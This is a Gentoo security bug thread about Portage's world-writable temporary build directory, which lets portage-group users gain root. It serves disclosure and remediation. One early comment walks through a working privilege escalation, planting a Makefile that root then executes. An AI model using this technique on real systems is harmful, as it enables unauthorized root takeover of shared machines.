| Summary: | sys-apps/portage does not set sticky bit on $PORTAGE_TMPDIR | ||
|---|---|---|---|
| Product: | Gentoo Security | Reporter: | Tavis Ormandy (RETIRED) <taviso> |
| Component: | Auditing | Assignee: | Gentoo Security <security> |
| Status: | IN_PROGRESS --- | ||
| Severity: | normal | CC: | ainsaar, bertrand, dan, dev-portage, gentoo-bugs, lars, martin, pauldv, saint.snit |
| Priority: | Highest | ||
| Version: | unspecified | ||
| Hardware: | All | ||
| OS: | Linux | ||
| Whiteboard: | |||
| Package list: | Runtime testing required: | --- | |
| Bug Depends on: | |||
| Bug Blocks: | 149110 | ||
|
Description
Tavis Ormandy (RETIRED)
2006-09-25 07:23:32 UTC
Have you actually examined the contents of one of the directories while it's emerging? As far as I can see all the important directories are only owned by root. My guess is portage does only what it needs to as root. well your guess would be wrong and you would have been 0wnz0red!! # emerge beep Calculating dependencies ...done! >>> emerge (1 of 1) app-misc/beep-1.2.2 to / >>> md5 src_uri ;-) beep-1.2.2.tar.gz >>> Unpacking source... >>> Unpacking beep-1.2.2.tar.gz to /var/tmp/portage/beep-1.2.2/work >>> Source unpacked. [1]+ Stopped sudo emerge beep ^Z here after source unpacked (obviously a real exploit would automate this by waiting for .unpacked to appear or something) now as a normal user: $ cd /var/tmp/portage /var/tmp/portage$ mv beep-1.2.2 0wnz0r3d /var/tmp/portage$ mkdir beep-1.2.2 /var/tmp/portage$ cd beep-1.2.2/ /var/tmp/portage/beep-1.2.2$ cp -r ../0wnzor3d/temp . /var/tmp/portage/beep-1.2.2$ cp -r ../0wnzor3d/.unpacked . /var/tmp/portage/beep-1.2.2$ mkdir work /var/tmp/portage/beep-1.2.2/work$ cd work/ /var/tmp/portage/beep-1.2.2/work$ mkdir beep-1.2.2 /var/tmp/portage/beep-1.2.2/work$ cd beep-1.2.2 /var/tmp/portage/beep-1.2.2/work/beep-1.2.2$ cat > Makefile all: @echo you are all teh 0wnz0r3d OMG!!! @id ^D now let root continue emerging: # fg emerge beep you are all teh 0wnz0r3d OMG!!! uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) >>> Test phase [not enabled]: app-misc/beep-1.2.2 >>> Install beep-1.2.2 into /var/tmp/portage/beep-1.2.2/image/ category app-misc >>> dobin: making beep executable... install: cannot stat `beep': No such file or directory chmod: cannot access `/var/tmp/portage/beep-1.2.2/image//usr/bin/beep': No such file or directory doman: beep.1.gz does not exist dodoc: CHANGELOG does not exist dodoc: CREDITS does not exist dodoc: README does not exist man: >>> Completed installing beep-1.2.2 into /var/tmp/portage/beep-1.2.2/image/ >>> Merging app-misc/beep-1.2.2 to / Exiting on signal 2 OMG YOU ARE TEH ROOTED!!! If i really have to make an automated exploit script, I will, but hopefully this demonstrates what I'm on about. I've heard solar say that "the portage group is as good as root" when it comes to exploiting a gentoo system. Really, this group should only be given to trusted individuals. DISTDIR would be yet another attack vector, considering that there is a window of time between the checksums being performed and the actual unpack. Is this documented anywhere? well solar saying it doesnt make it true, if you want that to be the case we need to document it, emerge and the handbook all suggest giving out group portage as it's a low privileged group. If you want to take the `portage is trusted` approcah, fine but we need to make the emerge warning and the handbook all make it clear that this is DANGEROUS. we've also released several GLSA's on group portage vulnerabilities. since when have we said portage group access is ok to give out freely ? that group has always been associated with "system admin" access $ emerge search foo *** You are not in the portage group. You may experience cache problems *** due to permissions preventing the creation of the on-disk cache. *** Please add this user to the portage group if you wish to use portage. http://www.gentoo.org/doc/en/handbook/draft/complete/handbook.xml?part=2&chap=8 The portage group contains all users who should be allowed to run emerge and other portage-related tools for querying the database. This doesn't allow those users to install or uninstall software though, you still need to be root for that, or have equivalent access. (In reply to comment #7) > If you want to take the `portage is trusted` approcah, fine but we need to make > the emerge warning and the handbook all make it clear that this is DANGEROUS. That's sounds good. I'll look through the portage code for any other misleading messages or documentation. Reassigning since this is security issue. Local privilege escalation with target delay of 3 days. Portage team please provide an updated ebuild. Note (to self):Either we'll need a workaround to remove untrusted users from the Portage group or a resolution if the issue is solved so glsa-check can handle it. If the workaround solution is chosen we need to get the doc guys to update the docs. Bah, and now actually reassigning. (In reply to comment #12) > Portage team please provide an updated ebuild. Great, I can use this as an excuse to roll out the 2.1.1-r1 that I've been procrastinating on. :) The following message is now displayed in both portage-2.1.1-r1 and portage-2.1.2_pre1-r3: *** WARNING *** For security reasons, only system administrators should be *** WARNING *** allowed in the portage group. Untrusted users or processes *** WARNING *** can potentially exploit the portage group for attacks such as *** WARNING *** local privilege escalation. Thx Zac. Arhces please test and mark stable. Target keywords are: portage-2.1.1-r1.ebuild:KEYWORDS="alpha amd64 arm hppa ia64 m68k mips ppc ppc-macos ppc64 s390 sh sparc x86 ~x86-fbsd" Also CC'ing the docs team. This bug will probably require some docs to be updated too. Please refer to bug 149110 for a complete list of fixes in 2.1.1-r1. ppc64 stable Tested with python 2.4.3-r4 (see bug #149065) 1) emerges fine 2) passes collision test 3) works (updated my system, about 12 packages) Portage 2.1.1 (default-linux/x86/2006.1/desktop, gcc-4.1.1, glibc-2.4-r3, 2.6.17-gentoo-r8 i686) ================================================================= System uname: 2.6.17-gentoo-r8 i686 AMD Athlon(tm) XP 2500+ Gentoo Base System version 1.12.5 Last Sync: Tue, 26 Sep 2006 07:20:02 +0000 app-admin/eselect-compiler: [Not Present] dev-java/java-config: 1.2.11-r1 dev-lang/python: 2.4.3-r1 dev-python/pycrypto: 2.0.1-r5 dev-util/ccache: [Not Present] dev-util/confcache: [Not Present] sys-apps/sandbox: 1.2.17 sys-devel/autoconf: 2.13, 2.59-r7 sys-devel/automake: 1.4_p6, 1.5, 1.6.3, 1.7.9-r1, 1.8.5-r3, 1.9.6-r2 sys-devel/binutils: 2.16.1-r3 sys-devel/gcc-config: 1.3.13-r3 sys-devel/libtool: 1.5.22 virtual/os-headers: 2.6.17-r1 ACCEPT_KEYWORDS="x86" AUTOCLEAN="yes" CBUILD="i686-pc-linux-gnu" CFLAGS="-O2" CHOST="i686-pc-linux-gnu" CONFIG_PROTECT="/etc /usr/kde/3.5/env /usr/kde/3.5/share/config /usr/kde/3.5/shutdown /usr/share/X11/xkb /usr/share/config /usr/share/texmf/dvipdfm/config/ /usr/share/texmf/dvips/config/ /usr/share/texmf/tex/generic/config/ /usr/share/texmf/tex/platex/config/ /usr/share/texmf/xdvi/" CONFIG_PROTECT_MASK="/etc/env.d /etc/gconf /etc/revdep-rebuild /etc/splash /etc/terminfo" CXXFLAGS="-O2" DISTDIR="/usr/portage/distfiles" FEATURES="autoconfig ccache collision-protect distlocks metadata-transfer parallel-fetch sandbox sfperms strict test" GENTOO_MIRRORS="ftp://sunsite.informatik.rwth-aachen.de/pub/Linux/gentoo/" LANG="de_DE@euro" LC_ALL="de_DE@euro" LINGUAS="de" MAKEOPTS="-j2" PKGDIR="/usr/portage/packages" PORTAGE_RSYNC_OPTS="--recursive --links --safe-links --perms --times --compress --force --whole-file --delete --delete-after --stats --timeout=180 --exclude='/distfiles' --exclude='/local' --exclude='/packages'" PORTAGE_TMPDIR="/var/tmp" PORTDIR="/usr/portage" PORTDIR_OVERLAY="/usr/local/portage" SYNC="rsync://rsync.informatik.rwth-aachen.de/gentoo-portage" USE="x86 3dnow 3dnowext X Xaw3d a52 alsa artworkextra asf audiofile bash-completion beagle berkdb bidi bitmap-fonts bootsplash branding bzip2 cairo cdda cddb cdparanoia cdr cli cracklib crypt css cups curl custom-cflags dbus dga directfb divx4linux dlloader dri dts dvd dvdr dvdread dvi eds elibc_glibc emacs emboss encode esd evo exif expat fam fat fbcon ffmpeg firefox fortran ftp gb gcj gdbm gif gnome gpm gstreamer gtk gtk2 gtkhtml hal icq idn imagemagick imap input_devices_keyboard input_devices_mouse ipv6 isdnlog java javascript jikes jpeg jpeg2k kde kernel_linux ldap leim libg++ linguas_de lm_sensors mad maildir matroska mbox mhash mikmod mime mmx mmxext mng mono mp3 mpeg mpeg2 mule nautilus ncurses nforce2 nls nocardbus nptl nptlonly nsplugin nvidia objc ogg opengl pam pcre pdf perl plotutils pmu png ppds pppd preview-latex print python qt3 qt4 quicktime readline reflection reiserfs samba sdk session slang spell spl sse ssl svg svga t1lib tcltk tcpd tetex theora thunderbird tiff truetype truetype-fonts type1-fonts udev usb userland_GNU vcd video_cards_fbdev video_cards_radeon video_cards_vesa videos vorbis win32codecs wmf wxwindows xine xml xorg xosd xv xvid zlib" Unset: CTARGET, EMERGE_DEFAULT_OPTS, INSTALL_MASK, LDFLAGS, PORTAGE_RSYNC_EXTRA_OPTS
> since when have we said portage group access is ok to give out freely ? that
> group has always been associated with "system admin" access
Hi everybody,
"system admin" group does not mean giving free root access.
Many everyday-users are in the "adm" and/or "wheel" groups, not only concerning the Gentoo distro. I'm sure we all agree that these groups are for sysadmin only.
That allows them to act as a sysadmin, because thus they can view auth.log (among other logfiles), and they can run /bin/su... but they still need another authentication process (a password) to become root !
In the actual situation, belonging to the "portage" group is synonym of being root. I'm a trusted user from my point of vue, so i'm in the "portage" group. If someone could take a shell with my account, he is root. I don't like that :/ Where are the permissions isolations taught in the most basic security books ?
Conclusion : i dislike this resolution.
I'll build my own ebuilds in the overlay and turn on the sticky bit.
@security: i guess we will issue a GLSA since this bug is rated A1. I think it'll be funny
- emerges fine on amd64 - passes collision-test - passes multilib-strict - works Portage 2.1.1-r1 (default-linux/amd64/2006.1/desktop, gcc-4.1.1, glibc-2.4-r3, 2.6.18-ck1 x86_64) ================================================================= System uname: 2.6.18-ck1 x86_64 AMD Athlon(tm) 64 Processor 3000+ Gentoo Base System version 1.12.5 Last Sync: Tue, 26 Sep 2006 10:50:01 +0000 distcc 2.18.3 x86_64-pc-linux-gnu (protocols 1 and 2) (default port 3632) [disabled] ccache version 2.3 [enabled] app-admin/eselect-compiler: [Not Present] dev-java/java-config: 1.3.7, 2.0.30 dev-lang/python: 2.4.3-r3 dev-python/pycrypto: 2.0.1-r5 dev-util/ccache: 2.3 dev-util/confcache: [Not Present] sys-apps/sandbox: 1.2.17 sys-devel/autoconf: 2.13, 2.59-r7 sys-devel/automake: 1.4_p6, 1.5, 1.6.3, 1.7.9-r1, 1.8.5-r3, 1.9.6-r2 sys-devel/binutils: 2.16.1-r3 sys-devel/gcc-config: 1.3.13-r3 sys-devel/libtool: 1.5.22 virtual/os-headers: 2.6.11-r2 ACCEPT_KEYWORDS="amd64" AUTOCLEAN="yes" CBUILD="x86_64-pc-linux-gnu" CFLAGS="-march=k8 -O2 -pipe" CHOST="x86_64-pc-linux-gnu" CONFIG_PROTECT="/etc /usr/share/X11/xkb /var/qmail/alias /var/qmail/control /var/vpopmail/domains /var/vpopmail/etc" CONFIG_PROTECT_MASK="/etc/env.d /etc/env.d/java/ /etc/gconf /etc/java-config/vms/ /etc/revdep-rebuild /etc/terminfo" CXXFLAGS="-march=k8 -O2 -pipe" DISTDIR="/usr/portage/distfiles" FEATURES="autoconfig ccache collision-protect distlocks metadata-transfer multilib-strict parallel-fetch sandbox sfperms strict test" GENTOO_MIRRORS="ftp://linux.rz.ruhr-uni-bochum.de/gentoo-mirror/ ftp://ftp.uni-erlangen.de/pub/mirrors/gentoo ftp://ftp.join.uni-muenster.de/pub/linux/distributions/gentoo ftp://ftp.wh2.tu-dresden.de/pub/mirrors/gentoo ftp://ftp.join.uni-muenster.de/pub/linux/distributions/gentoo ftp://ftp-stud.fht-esslingen.de/pub/Mirrors/gentoo/ ftp://ftp.gentoo.mesh-solutions.com/gentoo/ ftp://pandemonium.tiscali.de/pub/gentoo/ " LANG="en_US.ISO8859-1" LC_ALL="en_US.ISO8859-1" MAKEOPTS="-j3" PKGDIR="/usr/portage/packages" PORTAGE_RSYNC_EXTRA_OPTS="--exclude-from=/etc/portage/rsync_excludes" PORTAGE_RSYNC_OPTS="--recursive --links --safe-links --perms --times --compress --force --whole-file --delete --delete-after --stats --timeout=180 --exclude='/distfiles' --exclude='/local' --exclude='/packages'" PORTAGE_TMPDIR="/var/tmp" PORTDIR="/usr/portage" PORTDIR_OVERLAY="/usr/local/portage/overlay" SYNC="rsync://rsync.europe.gentoo.org/gentoo-portage" USE="amd64 X a52 aac acpi alsa amr avi berkdb bitmap-fonts branding bzip2 cairo cdinstall cdparanoia cdr cli crypt cups dbus divx dlloader dri dvd dvdr dvdread elibc_glibc emboss encode expat fam firefox foomaticdb fortran gdbm gif glut gnutls gpm gstreamer gtk gtk2 hal imagemagick input_devices_evdev input_devices_keyboard isdnlog jpeg kernel_linux lcms ldap libg++ lirc lirc_devices_inputlirc logrotate mad mikmod mng mp3 mpeg musicbrainz ncurses nls nptl nptlonly offensive ogg opengl pam pcre pdflib php png ppds pppd quicktime readline reflection reiserfs rtc sdl session socks5 spl ssl svg symlink tcpd tiff truetype truetype-fonts type1-fonts udev unicode userland_GNU userlocales v4l v4l2 video_cards_fglrx video_cards_radeon vim-with-x vorbis wmp x264 xfs xine xinerama xml xorg xv xvid zlib" Unset: CTARGET, EMERGE_DEFAULT_OPTS, INSTALL_MASK, LDFLAGS, LINGUAS amd64 is s0 s4v3 a94|n! ppc stable Portage team: why don't you just set the sticky bit and help us all shifting the point of 'portage' group to something that really is useful for querying and stuff but *not* a user that would allow easy root access. The way this is being handled is kinda ridiculous, clearly this could be done better and there's a problem with the current scenario. Now I don't mean that it's easy to fix all the possible attack vector, but acting like this prevents any form of development towards a better approach security wise. In reply to comment #24) > Portage team: why don't you just set the sticky bit and help us all shifting > the > point of 'portage' group to something that really is useful for querying and > stuff but *not* a user that would allow easy root access. > > The way this is being handled is kinda ridiculous, clearly this could be done > better and there's a problem with the current scenario. Now I don't mean that > it's > easy to fix all the possible attack vector, but acting like this prevents any > form of development towards a better approach security wise. > as far as I know; the only thing preventing people from doing RO queries against the cache and VDB are lockfiles; since you need portage-GID to create lockfiles in those dirs (and portage needs the lockfiles to prevent corruption) The vdb and cache are world readable. Zac; could we somehow shift the lockfiles somewhere else? (/tmp?) This is mildly annoying at least: $ emerge -pv portage *** You are not in the portage group. You may experience cache problems *** due to permissions preventing the creation of the on-disk cache. *** Please add this user to the portage group if you wish to use portage. [...] Also this is an issue when querying with a user that isn't in the portage group: $ cat /var/log/emerge.log cat: /var/log/emerge.log: Permission denied Back to ebuild? status for now, unCC'ing arches. Portage is there any specific reason not to fix this issue? (In reply to comment #27) > Back to ebuild? status for now, unCC'ing arches. > > Portage is there any specific reason not to fix this issue? Sure, we can set the sticky bit on PORTAGE_TMPDIR, but that's not the only vector of attack via the portage group. For at least the near future, danger associated with the portage group will not change significantly. You can't expect the portage group to become safe for untrusted users in a matter of days. So, the best immediate action is to advise people about the risk. Zac what are these attack vectors? the two already mentioned can be solved easily. Right now group portage is more powerful than group wheel, as at least in group wheel you need a password to get root. This clearly is not correct, the documented purpose of group portage is `allowed to query the database`, why does this need to be insecure? (In reply to comment #29) > Zac what are these attack vectors? the two already mentioned can be solved > easily. PORTAGE_TMPDIR and DISTDIR are the only two that I know of atm. If a file in $DISTDIR doesn't have a safe owner, we can chown it during the fetch phase (before doing checksums) when possible, and die if it's not possible to chown the file. > Right now group portage is more powerful than group wheel, as at least in group > wheel you need a password to get root. This clearly is not correct, the > documented purpose of group portage is `allowed to query the database`, why > does this need to be insecure? I can't think of a reason at the moment why it "needs to be insecure". I'll certainly look into making it secure (see distfiles example above). Zac: Excellent! would you mind making these modifications? (distdir will need sticky bit as well) group portage would then fall into what a user might reasonably expect. (In reply to comment #31) > Zac: Excellent! would you mind making these modifications? (distdir will need > sticky bit as well) group portage would then fall into what a user might > reasonably expect. Yes, I will. When it's finished (hopefully only a day or two) we can release it in 2.1.2_pre for testing and then backport it to 2.1.1 after it's proven itself. Great news! Perhaps we should issue a temp GLSA until we get this one fixed? (In reply to comment #33) > Perhaps we should issue a temp GLSA until we get this one fixed? That's probably a good idea. Note that people can manually set the sticky bit on ${PORTAGE_TMPDIR}/portage in order to eliminate most of the risk immediately. I would not even bother with a GLSA. There have been many misc ways to exploit portage over the years via the portage group that have been unworthy of reporting. In short every time you change it to attempt to be secure in some way we seem to end up breaking the logic thats used when switching from userpriv and root. Both end up fighting over who has perms to what and we make portage less useful each time. Really there are lots of fun ways to export portage due to it using python as it's underlying lang (atexit.so being an example) even if portage itself handled perms in a perfect way. (In reply to comment #35) > I would not even bother with a GLSA. There have been many misc ways to exploit > portage over the years via the portage group that have been unworthy of > reporting. Please name them, or assign bugs to the auditing team. The documented purpose of group portage is `allowed to query the database`, not `allowed to root the system`, until that changes these issues need to be fixed. just because this is hard work doesnt mean we shouldnt protect our users. > Really there are lots of fun ways to export portage due to it using > python > as it's underlying lang (atexit.so being an example) even if portage itself > handled perms in a perfect way. > What is "exporting portage"? what is atexit.so an example of? If you can make root load an arbitrary dso please demonstrate how so we can fix it asap. (In reply to comment #36) > > What is "exporting portage"? what is atexit.so an example of? If you can make > root load an arbitrary dso please demonstrate how so we can fix it asap. > Please disregard this, solar explained what he meant on irc, we're looking into it. The ccache cache is yet another potential vector of attack. I suppose we can create personal ccache directories for each (non-root) user that uses portage. While make the permission changes I've found that we need some way to tell portage when it needs to apply special permissions for a specific user. In the past we've just given the permissions to anybody in the portage group. This type of problem comes up, for example, when sudo is used to run the "setup" phase of an ebuild and the following phases are run as a less privileged user. It's not really a problem for the userpriv feature because in that case it can be assumed that the "portage" user should be given special privileges. (In reply to comment #39) > While make the permission changes I've found that we need some way to tell > portage when it needs to apply special permissions for a specific user. In > the past we've just given the permissions to anybody in the portage group. Simple solution: add another group portage-build or so that just contains trusted users (like portage). Or is there any reason that builddirs have to be GID portage? (In reply to comment #40) > Simple solution: add another group portage-build or so that just contains > trusted users (like portage). Or is there any reason that builddirs have to be > GID portage? A portage-build group would probably work. Maybe it would be better to eliminate the idea that users who only need search functionality (or something similar) need to be in the portage group. If the cache has already been generated by a privileged user, they don't need write access to it. (In reply to comment #41) > (In reply to comment #40) > > Simple solution: add another group portage-build or so that just contains > > trusted users (like portage). Or is there any reason that builddirs have to be > > GID portage? > > A portage-build group would probably work. Maybe it would be better to > eliminate the idea that users who only need search functionality (or something > similar) need to be in the portage group. If the cache has already been > generated by a privileged user, they don't need write access to it. Don't like that idea: a) adds new contrains on mode of operation b) requires reeducation of users regarding the portage group c) there are other potential uses for the group separation (e.g. ro access to vdb) (In reply to comment #42) > a) adds new contrains on mode of operation > b) requires reeducation of users regarding the portage group If the plain "portage" group is going to be for "untrusted users", then we probably shouldn't allow them to have write access to metadata because it leaves metadata injection as a potentional attack vector. At a minimum, it could be used to perform some type of denial of service attack on other portage users. > c) there are other potential uses for the group separation (e.g. ro access to > vdb) Read only access is usually pretty harmess, but still, I don't think they should have write access to something as critical as the metadata cache. I vote no, this is pretty hard to exploit; the number of gentoo systems that actually have additional users in the portage group is low, anyway. (In reply to comment #44) > I vote no, this is pretty hard to exploit; the number of gentoo systems that > actually have additional users in the portage group is low, anyway. > That doesn't follow our policy. One may argue that it's a B1 and not a A1 since the system must have additional users in the portage group, which is not the default configuration. And a GLSA is needed for a B1 too. But without considering the policy, i agree with you. I guess given the policy I'd vote yes, but I still lean towards no. I vote yes. Since nobody picked this up when I went on hiatus I'll try to sort out this now. Portage what is the status of this? The handbook (comment #10) is still not updated. So unless Portage is fixed we'll need the doc team to update the handbook (and perhaps other docs). (In reply to comment #48) > Portage what is the status of this? The portage group still has full access to $PORTAGE_TMPDIR, $DISTDIR, and /var/cache/edb/dep/. Setting sticky bits in any of those locations leads to usability issues since the portage group is used to share access in various situations. In order to use sticky bits, the user will be required to grant permissions manually or else configure portage to automatically grant permissions to a specific user or group when appropriate. For example, if a user runs `sudo foo.ebuild setup` (so that enewuser or enewgroup can operate), they'll either have to adjust the $PORTAGE_TMPDIR permissions manually afterwards or else specify a user or group so that portage can do it automatically. Current versions of portage do not encourage the user to add themselves to the portage group like older versions did. Instead, portage tries to avoid mentioning the group whenever possible and it shows a message like in comment #15 when the group is mentioned. Thx Zac. We need to get the handbook (comment #10) and probably other docs updated to reflect this. CC'ing docs-team to advise and do the changes needed. (In reply to comment #50) > Thx Zac. We need to get the handbook (comment #10) and probably other docs > updated to reflect this. > > CC'ing docs-team to advise and do the changes needed. That particular handbook in comment #10 was SwifT's old experiment in rewriting the existing handbook; it is not something actually in use, so there's no need to do anything to that particular doc. As best as I can tell, we don't talk about the portage group in *any* other documents. Do we need to do anything, then? (In reply to comment #10) http://www.gentoo.org/doc/en/handbook/draft/complete/handbook.xml?part=2&chap=8 As Josh already said, this is an old draft of another document, but I've removed the whole portage group reference from it. If there's anything else we should do, just ping us. Thanks docs-team I think that should be fine (and I didn't see the top disclaimer if it was there yesterday). Security, it's time to discuss wether this one merits a GLSA? I vote yes, at least as some formal documentation that this can happen, and should be avoided. I vote yes, only because of policy - I agree that there are very few actual uses of the portage group. I still vote no. all my comments still stand After having talked with some gentoo end-users, it appears that the circumstances where a member of %portage has not already root access are rather rare. Also in a multi-user server context at work, the %portage group is never bigger than the %wheel group. So I vote no-glsa, despite the policy. okay so what do we do here? I did some research in our archives, and we already issued 2 glsas about portage itself: http://www.gentoo.org/security/en/glsa/glsa-200411-13.xml http://www.gentoo.org/security/en/glsa/glsa-200404-01.xml so, on one hand we already issued glsas for things less critical, but on the other hand I agree with Falco. And if $user is in the portage group, even if he's not root, he already has the ability to do some nasty things, e.g emerge -C {baselayout,coreutils,gcc,init,xorg-x11,bash,grub,portage,...} and your box would be quite fu><0r3d and need some liveCD to be fixed. Of course, launch a DoS != root the box, but it should be enough to convince the admin not to grant portage group to untrusted users. So in the end, I'd still be in favor of a glsa, at least to remind that portage group is for sysadmins only. (In reply to comment #58) > even if > he's not root, he already has the ability to do some nasty things, e.g emerge > -C {baselayout,coreutils,gcc,init,xorg-x11,bash,grub,portage,...} and your box > would be quite fu><0r3d and need some liveCD to be fixed. `emerge -C´ can only be run as root. Since a solution for this issue is infeasible (comment #49), the question is this: Do we send out a GLSA stating that Portage, prior to 2.1.1-r1 recommended to put users in the portage group, allowing root compromise. I appreciate comment #57, but shouldn't we just send a GLSA to get this over with? okay, this bug has been open for way too long, but now we have GLSA 200712-11 (bug #193589), meaning users should upgrade portage no matter what. IMO we don't need another GLSA for this, so I'll close this bug wihtout GLSA in a few days, unless somebody objects in the meanwhile. (In reply to comment #60) > okay, this bug has been open for way too long, but now we have GLSA 200712-11 > (bug #193589), meaning users should upgrade portage no matter what. IMO we > don't need another GLSA for this, so I'll close this bug wihtout GLSA in a few > days, unless somebody objects in the meanwhile. The problem is that on systems installed before September 2006, users might be in the portage group without someone noticing. This bug is worked around as far as no admin is encouraged to put every user in portage, but updating portage will not remove those users already added. Also, the fact that the attack described in comment 4 is still possible should not count as "bug fixed" :-/ ok, I discussed this with falco few days ago, and we came to the conclusion that we can't just send a warning glsa since the bug is not fixed. So, like it was mentioned in previous comments, the least we could do, with the 2008.0 approaching, is updating the docs to warn users. Currently we have: http://www.gentoo.org/doc/en/handbook/handbook-x86.xml?part=1&chap=11 A big red warning about not granting portage group access to untrusted users wouldn't be too much IMHO... comments? (In reply to comment #62) > ok, I discussed this with falco few days ago, and we came to the conclusion > that > we can't just send a warning glsa since the bug is not fixed. > So, like it was mentioned in previous comments, the least we could do, with the > 2008.0 approaching, is updating the docs to warn users. > Currently we have: > http://www.gentoo.org/doc/en/handbook/handbook-x86.xml?part=1&chap=11 > A big red warning about not granting portage group access to untrusted users > wouldn't be too much IMHO... comments? > You could also just submit a news item if your goal is to warn users of old portages (2006). This problem does not only affect old Portage versions, but also all current ones. (In reply to comment #64) > This problem does not only affect old Portage versions, but also all current > ones. > We could have a news item, saying that until now the docs were unclear, and advising our users to remove untrusted accounts from group portage. But we should also update docs anyway, otherwise the news is pointless... So, uh . . . any progress on this? Anything that the GDP still needs to be CCed on? I'm still planning to add support for the sticky bit thing, but I think this bug can be closed because the glsa is already done. ping (In reply to comment #66) > So, uh . . . any progress on this? Anything that the GDP still needs to be CCed > on? As mentioned in comment #62, the handbook still needs to be updated. In the group decscription table it says, "portage be able to use emerge --pretend as a normal user", but this is no longer true and it is also a security risk. (In reply to comment #67) > I'm still planning to add support for the sticky bit thing, but I think this > bug can be closed because the glsa is already done. The category sub-directories change things a bit. I guess those will have to inherit the sticky bit from the parent directory if it is set. In light of PORTAGE_TMPDIR now requiring specific permissions, should bug 83556 be fixed? (In reply to comment #71) > In light of PORTAGE_TMPDIR now requiring specific permissions, should bug 83556 > be fixed? We've already got a big warning in the PORTDIR section of both `man make.conf` and make.conf.example, and because of the way that rsync works, there's really nothing more that can be done: ***Warning*** Data stored inside PORTDIR is in peril of being overwritten or deleted by the emerge --sync command. The default value of PORTAGE_RSYNC_OPTS will protect the default locations of DISTDIR and PKGDIR, but users are warned that any other locations inside PORTDIR are not necessarily safe for data storage. You should not put other data (such as overlays) in your PORTDIR. I don't think most users would consider a tmp directory to fall under the umbrella of "data storage," which is what that text warns against putting under PORTDIR. It's a reasonable expectation that anything under PORTAGE_TMPDIR could be wiped out by a --sync (regardless of PORTAGE_TMPDIR's location on the system). It is not obvious from that warning that the directory itself -- which users would not tend to think of as "data" -- would be removed. Further, a user looking for a convenient place to put PORTAGE_TMPDIR is likely to look at the documentation for PORTAGE_TMPDIR, not for PORTDIR, so the warning isn't even in the right place for this scenario. Most relevantly for the security issue addressed by this bug, the message a user gets upon running an emerge when PORTAGE_TMPDIR is missing: * The directory specified in your PORTAGE_TMPDIR variable, * ..., does not exist. Please create this directory * or correct your PORTAGE_TMPDIR setting. gives no indication that the directory should be created with specific permissions (as of 2.1.10.36 anyway). (And on a less important note, the sentence at the end of the PORTDIR warning in the make.conf man page, "Portage will walk directory structures and may arbitrary add invalid categories as packages," should have the word "arbitrarily" in place of "arbitrary.") (In reply to comment #73) > gives no indication that the directory should be created with specific > permissions (as of 2.1.10.36 anyway). As long as it's not world writable, you should be fine. I think this is really beyond the scope of what portage needs to document, because it's common sense that directories should not be world writable (unless they have the sticky bit), and your umask typically ensures that. (In reply to comment #73) > Further, a user looking for a convenient place to put PORTAGE_TMPDIR is likely > to look at the documentation for PORTAGE_TMPDIR, not for PORTDIR, so the > warning isn't even in the right place for this scenario. I think the main source of confusion is that the default PKGDIR and DISTDIR happen to be inside PORTDIR. If it wasn't for this, I don't think that people would be as likely to infer that other random things will be safe inside /usr/portage. Bug 378603 is about migrating to saner defaults for PKGDIR, DISTDIR, and PORTDIR. Good points in comment #74. (In reply to comment #75) > I think the main source of confusion is that the default PKGDIR and DISTDIR > happen to be inside PORTDIR. It is certainly not the only source; I don't have enough data to say whether it's the main source. But it seems a typical reason for moving PORTAGE_TMPDIR might be to deal with a shortage of space on the default tmp device, and a logical place to put it might seem to be under PORTDIR. All this could be done with no knowledge of anything called PKGDIR and DISTDIR: one needn't know many details of portage's operation to realize one needs to move PORTAGE_TMPDIR. This was my experience when I first moved it, and I don't have any reason to believe it's an isolated one (in fact, the first paragraph of bug 83556 suggests otherwise). This is why the caveat about where not to locate PORTAGE_TMPDIR should go under the documentation for PORTAGE_TMPDIR. (In reply to comment #76) > This is why the caveat about where not to locate PORTAGE_TMPDIR should go under > the documentation for PORTAGE_TMPDIR. Sounds good to me. Please file a new bug, because it's off topic for this bug. (In reply to comment #77) > Please file a new bug, because it's off topic for this bug. OK. Opened bug 392565. What has become about this bug? I have set locally g+ws,+t,o-w (and user/group portage) on $PORTAGE_TMPDIR/portage $CCACHE_DIR/* $CCACHE_DIR/[0-9a-f]/[0-9a-f] $DISTDIR since years without any issues. Even if this perhaps does not prevent all exploits through the portage group, at least it mitigates the most obvious ones. Why does portage still not make sure that these safe permissions are set? For special cases (prefix or non-linux file systems), one could still make this behaviour optional, but I think the above would be a perfectly sane default behaviour. BTW, it would make sense to require also the same settings (and user/group portage) for the repositories and to fetch with permissions of portage:portage so that complex programs like git/rsync/... with net acces do not need to be called with root permissions. The latter, of course, is safer only if it is not too trivial for user portage to root the system. (In reply to Martin Väth from comment #79) > What has become about this bug? I have set locally g+ws,+t,o-w > (and user/group portage) on ... > > since years without any issues. Even if this perhaps does not prevent all > exploits through the portage group, at least it mitigates the most obvious > ones. Why does portage still not make sure that these safe permissions are > set? This seems to mainly come down to a documentation question of what is considered safe, I've always been under the impression that portage group is privileged, in which case no security boundary is crossed, although the cache-messages mentioned in a comment is unfortunate. In any case, re-assigning this to Security Auditing rather than vulnerability treatment > I've always been under the impression that portage group is privileged
In some sense it is, but the best which tools like eix or layman might do concerning security is to drop privileges to user/group portage.
If this group is practically as privileged as root, this is a severe problem.
(In reply to Martin Väth from comment #81) > > I've always been under the impression that portage group is privileged > > In some sense it is, but the best which tools like eix or layman might do > concerning security is to drop privileges to user/group portage. > If this group is practically as privileged as root, this is a severe problem. I don't see the privileged status of the portage group changing, so things should avoid using it whenever possible. For example, portage itself should be fixed to use a different user to call FETCHCOMMAND. (In reply to Zac Medico from comment #82) > For example, portage itself should > be fixed to use a different user to call FETCHCOMMAND. And then probably also the same user should be used for calling git/rsync and calling egencache and used by layman and eix. Which means that $DISTDIR, repository directories, and probably also /var/lib/portage, /var/db and /var/edb (and /var/cache/eix) must be writable by that user. But this is almost the situation which we have currently, only that perhaps the actual compilation might be excluded from that user. But I do not think that the actual compilation is the main problem, in particular if the sticky bits would be set on all above mentioned directories. (In reply to Martin Väth from comment #83) > (In reply to Zac Medico from comment #82) > > For example, portage itself should > > be fixed to use a different user to call FETCHCOMMAND. > > And then probably also the same user should be used for calling git/rsync > and calling egencache and used by layman and eix. > Which means that $DISTDIR, repository directories, and probably also > /var/lib/portage, /var/db and /var/edb (and /var/cache/eix) must be writable > by that user. No, those directories have no business being writable by unprivileged users. Mainly, it's network clients that might handle untrusted network data which need to run as an unprivileged user. For example, portage could execute wget as an unprivileged user, and the data that it fetches could be written to 